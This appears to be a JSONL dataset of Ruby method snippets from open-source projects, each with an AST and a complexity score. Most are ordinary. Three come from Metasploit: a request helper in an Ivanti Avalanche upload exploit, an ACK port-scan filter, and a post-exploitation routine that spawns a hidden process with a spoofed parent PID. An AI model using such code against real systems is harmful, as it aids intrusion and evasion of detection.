{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/app.rb","start_line":126,"raw_source":"def associated_groups\n        return unless raw_data['associatedApplicationGroups']\n\n        @associated_groups ||= raw_data['associatedApplicationGroups'].map do |info|\n          Spaceship::Portal::AppGroup.new(info)\n        end\n      end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"associated_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"associatedApplicationGroups\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@associated_groups\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"associatedApplicationGroups\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"AppGroup\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]}]}","id":"e677d4fd-9974-4ae1-9e01-22b6e41c6cb0"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":497,"raw_source":"def test_setting_cookie_for_fourteen_days_with_symbols\n    get :authenticate_for_fourteen_days_with_symbols\n    assert_set_cookie_header \"user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax\"\n    assert_equal({ \"user_name\" => \"david\" }, @response.cookies)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_cookie_for_fourteen_days_with_symbols\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"authenticate_for_fourteen_days_with_symbols\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_set_cookie_header\",{\"type\":\"str\",\"children\":[\"user_name=david; path=/; expires=Mon, 10 Oct 2005 05:00:00 GMT; SameSite=Lax\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"cookies\"]}]}]}]}","id":"9c1c7957-bb7b-443a-ab4c-c42e96aabd90"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/announcements_controller.rb","start_line":74,"raw_source":"def set_announcements\n    @announcements = AnnouncementFilter.new(filter_params).results.reverse_chronological.page(params[:page])\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_announcements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@announcements\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnnouncementFilter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"filter_params\"]}]},\"results\"]},\"reverse_chronological\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}","id":"6b7324db-7184-43c1-b663-4dad04f89a2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/traversal/cached.rb","start_line":32,"raw_source":"def all_project_ids\n        scope_with_cached_ids(\n          all_projects.select(:id),\n          Project,\n          Namespaces::Descendants.arel_table[:all_project_ids]\n        )\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"scope_with_cached_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_projects\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"Descendants\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all_project_ids\"]}]}]}]}","id":"ed51f0b0-5d42-42f1-a8e4-e246b31e6c78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/version_info.rb","start_line":39,"raw_source":"def initialize(major = 0, minor = 0, patch = 0, suffix = nil) # rubocop:disable Metrics/ParameterLists\n      @major = major\n      @minor = minor\n      @patch = patch\n      @suffix_s = suffix.to_s\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"major\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"minor\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"patch\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"suffix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@major\",{\"type\":\"lvar\",\"children\":[\"major\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@minor\",{\"type\":\"lvar\",\"children\":[\"minor\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@patch\",{\"type\":\"lvar\",\"children\":[\"patch\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@suffix_s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},\"to_s\"]}]}]}]}","id":"090262b7-6518-4467-b2e3-99c9ae44cdc2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cops_documentation_generator.rb","start_line":352,"raw_source":"def cop_code(cop)\n    YARD::Registry.all(:class).detect do |code_object|\n      next unless RuboCop::Cop::Badge.for(code_object.to_s) == cop.badge\n\n      yield code_object\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cop_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YARD\"]},\"Registry\"]},\"all\",{\"type\":\"sym\",\"children\":[\"class\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Cop\"]},\"Badge\"]},\"for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_object\"]},\"to_s\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"badge\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_object\"]}]}]}]}]}","id":"81d85363-7159-4dfd-bd4b-2f28476766b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb","start_line":215,"raw_source":"def select_folder(data_rk, view_state)\n    @cleanup_needed = true\n    send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),\n      'method' => 'POST',\n      'keep_cookies' => true,\n      'vars_post' =>\n      {\n        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',\n        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',\n        'javax.faces.behavior.event' => 'select',\n        'javax.faces.partial.event' => 'select',\n        'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,\n        'form_filestore_tree' => 'form_filestore_tree',\n        'fileStoreTree_dlgFileStoreTree_selection' => data_rk,\n        'javax.faces.ViewState' => view_state\n      }\n    )\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_folder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data_rk\"]},{\"type\":\"arg\",\"children\":[\"view_state\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cleanup_needed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"app\"]},{\"type\":\"str\",\"children\":[\"FileStoreConfig.jsf\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.source\"]},{\"type\":\"str\",\"children\":[\"fileStoreTree_dlgFileStoreTree\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.partial.execute\"]},{\"type\":\"str\",\"children\":[\"fileStoreTree_dlgFileStoreTree\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.behavior.event\"]},{\"type\":\"str\",\"children\":[\"select\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.partial.event\"]},{\"type\":\"str\",\"children\":[\"select\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fileStoreTree_dlgFileStoreTree_instantSelection\"]},{\"type\":\"lvar\",\"children\":[\"data_rk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"form_filestore_tree\"]},{\"type\":\"str\",\"children\":[\"form_filestore_tree\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fileStoreTree_dlgFileStoreTree_selection\"]},{\"type\":\"lvar\",\"children\":[\"data_rk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"javax.faces.ViewState\"]},{\"type\":\"lvar\",\"children\":[\"view_state\"]}]}]}]}]}]}]}]}","id":"3d47f7a0-3ba3-4ebd-b517-be781c166c1e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sql.rb","start_line":718,"raw_source":"def connect_call? result\n    call = result[:call]\n    target = call.target\n\n    if call? target and target.method == :connection\n      target = target.target\n      klass = class_name(target)\n\n      target.nil? or\n      target == SELF_CLASS or\n      node_type? target, :self or\n      klass == :\"ActiveRecord::Base\" or\n      active_record_models.include? klass\n    end\n  end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_call?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"connection\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"class_name\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"SELF_CLASS\"]}]}]},{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"self\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ActiveRecord::Base\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record_models\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]},null]}]}]}","id":"f0e93ac6-bafa-4b37-a534-5d3aedecb213"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":424,"raw_source":"def test_distinct_count_with_group_by_and_order_and_limit\n    assert_equal({ 6 => 2 }, Account.group(:firm_id).distinct.order(\"1 DESC\").limit(1).count)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_distinct_count_with_group_by_and_order_and_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"group\",{\"type\":\"sym\",\"children\":[\"firm_id\"]}]},\"distinct\"]},\"order\",{\"type\":\"str\",\"children\":[\"1 DESC\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"count\"]}]}]}","id":"646e187b-1afe-4eef-b934-3e269d9ab23e"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/immich/import_geodata.rb","start_line":38,"raw_source":"def parse_immich_data(immich_data)\n    geodata = immich_data.map do |asset|\n      next unless valid?(asset)\n\n      extract_geodata(asset)\n    end\n\n    geodata.compact.sort_by { |data| data[:timestamp] }\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_immich_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"immich_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"geodata\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"immich_data\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\",{\"type\":\"lvar\",\"children\":[\"asset\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"extract_geodata\",{\"type\":\"lvar\",\"children\":[\"asset\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"geodata\"]},\"compact\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]}]}","id":"e13241b5-3448-462b-b543-7d44d788a5fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/portscan/ack.rb","start_line":112,"raw_source":"def getfilter(shost, sport, dhost, dport)\n    # Look for associated RSTs\n    \"tcp and (tcp[13] & 0x04) != 0 and \" +\n      \"src host #{dhost} and src port #{dport} and \" +\n      \"dst host #{shost} and dst port #{sport}\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"getfilter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shost\"]},{\"type\":\"arg\",\"children\":[\"sport\"]},{\"type\":\"arg\",\"children\":[\"dhost\"]},{\"type\":\"arg\",\"children\":[\"dport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp and (tcp[13] & 0x04) != 0 and \"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"src host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dhost\"]}]},{\"type\":\"str\",\"children\":[\" and src port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dport\"]}]},{\"type\":\"str\",\"children\":[\" and \"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dst host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"str\",\"children\":[\" and dst port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sport\"]}]}]}]}]}","id":"ca16d1ab-78ba-4fc0-aa56-701f70a8e8d5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/role_management.rb","start_line":50,"raw_source":"def sync_assigned_roles\n    self.role = ::Settings.server.role\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_assigned_roles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"role=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"server\"]},\"role\"]}]}]}","id":"6bec6dc7-254f-414e-98cf-3686c5d92977"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_suite.rb","start_line":84,"raw_source":"def sorted\n          sort_by_status\n          sort_by_execution_time_desc\n          self\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sorted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_by_status\"]},{\"type\":\"send\",\"children\":[null,\"sort_by_execution_time_desc\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"b972fb5b-6bcd-421f-b2c3-f63fc8a8dce1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/migrate.rb","start_line":102,"raw_source":"def create_temp_proc\n    target_ppid = session.sys.process[datastore['PPID_NAME']] || datastore['PPID']\n    cmd = get_notepad_pathname(client.arch, client.sys.config.getenv('windir'), client.arch)\n\n    print_status('Spawning notepad.exe process to migrate into')\n\n    if (target_ppid != 0) && !has_pid?(target_ppid)\n      print_error(\"Process #{target_ppid} not found\")\n      return\n    end\n\n    if has_pid?(target_ppid)\n      print_status(\"Spoofing PPID #{target_ppid}\")\n    end\n\n    # run hidden\n    proc = session.sys.process.execute(cmd, nil, {\n      'Hidden' => true,\n      'ParentPid' => target_ppid\n    })\n\n    return proc.pid\n  end","complexity_score":44.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_temp_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_ppid\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID_NAME\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PPID\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[null,\"get_notepad_pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"windir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"arch\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Spawning notepad.exe process to migrate into\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_ppid\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_pid?\",{\"type\":\"lvar\",\"children\":[\"target_ppid\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_ppid\"]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_pid?\",{\"type\":\"lvar\",\"children\":[\"target_ppid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Spoofing PPID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_ppid\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"proc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ParentPid\"]},{\"type\":\"lvar\",\"children\":[\"target_ppid\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc\"]},\"pid\"]}]}]}]}","id":"7583408e-227c-470c-9835-95959c0c2342"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/code_navigation_path.rb","start_line":45,"raw_source":"def build\n      strong_memoize(:build) do\n        latest_commits_shas =\n          project.repository.commits(commit_sha, limit: LATEST_COMMITS_LIMIT).map(&:sha)\n\n        pipeline = @project.ci_pipelines.for_sha(latest_commits_shas).last\n\n        next unless pipeline\n\n        artifact = Timeout.timeout(ARTIFACT_TIMEOUT) do\n          pipeline.job_artifacts.with_file_types(['lsif']).last\n        end\n\n        artifact&.job\n      end\n    end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"build\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"latest_commits_shas\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"commits\",{\"type\":\"send\",\"children\":[null,\"commit_sha\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"LATEST_COMMITS_LIMIT\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"ci_pipelines\"]},\"for_sha\",{\"type\":\"lvar\",\"children\":[\"latest_commits_shas\"]}]},\"last\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"artifact\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"const\",\"children\":[null,\"ARTIFACT_TIMEOUT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"job_artifacts\"]},\"with_file_types\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"lsif\"]}]}]},\"last\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact\"]},\"job\"]}]}]}]}","id":"eef4324c-1d5c-40d5-9b5c-982b7b14396e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/definitions/lib/validation/custom_method_validator.rb","start_line":21,"raw_source":"def valid_name?(name)\n        !name.nil? && !name.empty?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_name?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"empty?\"]},\"!\"]}]}]}","id":"9757ab61-7106-4b8e-80eb-84dff5751cd9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/nuget_group_packages.rb","start_line":32,"raw_source":"def project_or_group\n        find_authorized_group!(action: required_permission)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_or_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find_authorized_group!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"required_permission\"]}]}]}]}]}","id":"89b5de47-be66-4c50-af01-115419241e5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/organizations/organization_helper.rb","start_line":142,"raw_source":"def has_groups?(organization)\n      organization.groups.exists?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_groups?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"organization\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"organization\"]},\"groups\"]},\"exists?\"]}]}","id":"f94a5d5e-ff7d-4be6-ad8b-9fd6a572a209"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/average.rb","start_line":16,"raw_source":"def seconds\n          select_average ? select_average['average'] : nil\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seconds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_average\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_average\"]},\"[]\",{\"type\":\"str\",\"children\":[\"average\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"b4a14a46-c646-438a-840b-aa6f7ec98832"}
